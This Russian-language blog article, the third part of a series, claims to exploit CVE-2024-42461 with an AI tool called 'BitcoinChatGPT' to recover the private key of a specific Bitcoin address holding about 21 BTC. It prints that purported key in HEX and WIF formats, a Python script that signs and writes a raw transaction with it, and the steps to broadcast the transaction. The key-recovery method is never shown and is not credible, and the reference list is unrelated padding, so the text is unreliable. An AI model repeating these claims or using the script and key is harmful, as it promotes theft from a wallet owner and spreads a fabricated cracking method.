В первой части статьи мы провели большое исследование уязвимости Signature Malleability, угрожающей безопасности популярных криптовалют, таких как Bitcoin и Ethereum. Во второй части статьи мы рассмотрели на реальном примере механизмы эксплуатации CVE-2024-42461 в библиотеке Elliptic для ECDSA, используя биткоин-кошелек 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw, на котором были потеряны монеты на сумму 21.2529214 BTC, что на ноябрь 2024 года составляет 1,744,572.51 USD. В этой третьей части статьи мы рассмотрим методы поиска уязвимости Signature Malleability, как предотвращение угрозы для собственного криптовалютного кошелька Bitcoin и Ethereum мы можем воспользоваться и применить на примерах различных методов машинного обучение.
Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.
BitcoinChatGPT — это инновационный чат-бот на базе искусственного интеллекта, который помогает пользователям находить уязвимости в транзакциях криптовалюты Bitcoin. Преимущества и классификации BitcoinChatGPT дают возможность проверить ваш адрес Bitcoin на предмет различных схем атак на криптокошельки. Машинное обучение на основе криптоанализа дает нам полную возможность исследовать различные атаки на алгоритмы, используемые в экосистеме Bitcoin. Инструменты для извлечения приватого ключа из реестра Bitcoin Wallet широко популярны, где BitcoinChatGPT служит важным и полезным ресурсом для кибербезопасности.
Применим уязвимость CVE-2024-42461: Signature Malleability в библиотеке Elliptic для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT
Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT
Откроем версию Google Colab:
State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........97255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0 ....0220 ........1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5 .....0141 .....049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........d77522a2b18e0064aba02ca7f864a5bb22998259 ....88ac 00000000
Соединим все выданные значение в одну общую строку с помощью Python-скрипта combinex.py:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000
Откроем опцию от BlockCypher «Decode A Transaction»:
После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:
{ "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "a5828ec5775b967c36ab5c6a0184aaa52fd64e6650d07287cc7688266c6dbb28", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... .......
Обратим внимание на Bitcoin HASH160: d77522a2b18e0064aba02ca7f864a5bb22998259
Transaction Script
The above script has been decoded
BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw отправляет 1234 satoshi на тот же адрес внутри своей сети.
Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py
В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF
============================= KEYFOUND.privkey ============================= Private Key HEX: 0x17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Private Key WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw Balance: 21.25292140 BTC ============================= KEYFOUND.privkey =============================
BitcoinChatGPT №5 Signature Malleability Vulnerability Algorithm
Уязвимая Raw транзакция
Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction
Скачаем и установим исходный код откроем терминал и запустим команду:
cd Broadcast-Bitcoin-Transaction
Установим три важные библиотеки:
pip install -r requirements.txt
Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py
from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close()
Откроем файл RawTX в каталоге:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000
Порядок выполнения действий на видео:
Именно эту уязвимую RawTX мы рассматривали в начале данной статьи: ↩︎
Процесс декодирование RawTX с помощью инструмента decoderaw
Как нам известно из prompt ответов модуля BitcoinChatGPT Signature Malleability Vulnerability Algorithm может быть использован для решения сложных криптографических задач.
Заключение
Существует множество методов обнаружения и предотвращения поддельных подписей в сети Bitcoin. Эти методы варьируются от простых решений, таких как увеличение количества подтверждений, до более сложных систем анализа аномалий и регулярного обновления протоколов безопасности. Эффективная защита требует комплексного подхода к обеспечению безопасности сети и постоянного мониторинга новых угроз. Поддельные подписи могут привести к мошенническим транзакциям и потере средств. Основные методы, используемые для обнаружения и предотвращения таких атак:
1. Увеличение количества подтвержденийОдним из простейших способов защиты от поддельных подписей является увеличение количества подтверждений транзакции перед ее окончательным принятием. Рекомендуется ждать не менее шести подтверждений, чтобы снизить вероятность успешной атаки. Это позволяет убедиться в том, что транзакция была включена в блок и не может быть отменена.2. Анализ блоков и транзакцийМайнинговое ПО и узлы сети анализируют блоки и транзакции на предмет конфликтов и аномалий. Это включает проверку подписи на соответствие формату, а также проверку значений r и s на допустимые диапазоны. Если значения находятся вне допустимых пределов, транзакция может быть отклонена.3. Внедрение систем анализа аномалийИспользование систем анализа аномалий позволяет выявлять подозрительные транзакции и цепочки блоков. Эти системы могут использовать алгоритмы машинного обучения для обнаружения необычного поведения в сети, что может указывать на попытки подделки подписей.4. Программное обеспечение для мониторинга сетиИнструменты, такие как Wireshark, могут быть использованы для анализа сетевого трафика и выявления подозрительных активностей. Мониторинг сетевого трафика позволяет выявлять атаки типа «Sybil» или «Eclipse», которые могут быть использованы для манипуляции с транзакциями.5. Регулярное обновление протоколов безопасностиРегулярное обновление программного обеспечения и протоколов безопасности помогает устранить известные уязвимости, такие как уязвимость DeserializeSignature, которая позволяет злоумышленникам создавать недействительные подписи. Обновления должны включать исправления для всех известных уязвимостей и улучшения безопасности.6. Многоуровневое подтверждениеИспользование нескольких уровней подтверждения транзакций может повысить безопасность сети. Это может включать дополнительные проверки со стороны узлов или использование сторонних сервисов для верификации подписей.
References:
Odlyzko, Andrew; te Reile, Herman J. J. «Disproving Mertens Conjecture» Journal für die reine und angewandte Mathematik
D. Simon (2007). «Selected applications of LLL in number theory» LLL+25 Conference. Caen, France.
Regev, Oded. «Lattices in Computer Science: LLL Algorithm» New York University. Retrieved 1 February 2019.
Silverman, Joseph. «Introduction to Mathematical Cryptography Errata» Brown University Mathematics Dept. Retrieved 5 May 2015.
Bosma, Wieb. «4. LLL» Lecture notes. Retrieved 28 February 2010.
Abderrahmane, Nitaj. Cryptanalysis of NTRU with two public keys // International Association for Cryptologic Research. — Caen, France.
Bleichenbacher, Daniel and May, Alexander. New Attacks on RSA with Small Secret CRT-Exponents // International Association for Cryptologic Research. — Darmstadt, Germany.
Xinyue, Deng. An Introduction to LLL Algorithm // Massachusetts Institute of Technology.
Liu, Jiayang, Bi, Jingguo and Xu, Songyan. An Improved Attack on the Basic Merkle–Hellman Knapsack Cryptosystems // IEEE. — Beijing 100084, China.
Lattice algorithms using floating-point arithmetic // The FPLLL development team. FPLLL, a lattice reduction library. — 2016.
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.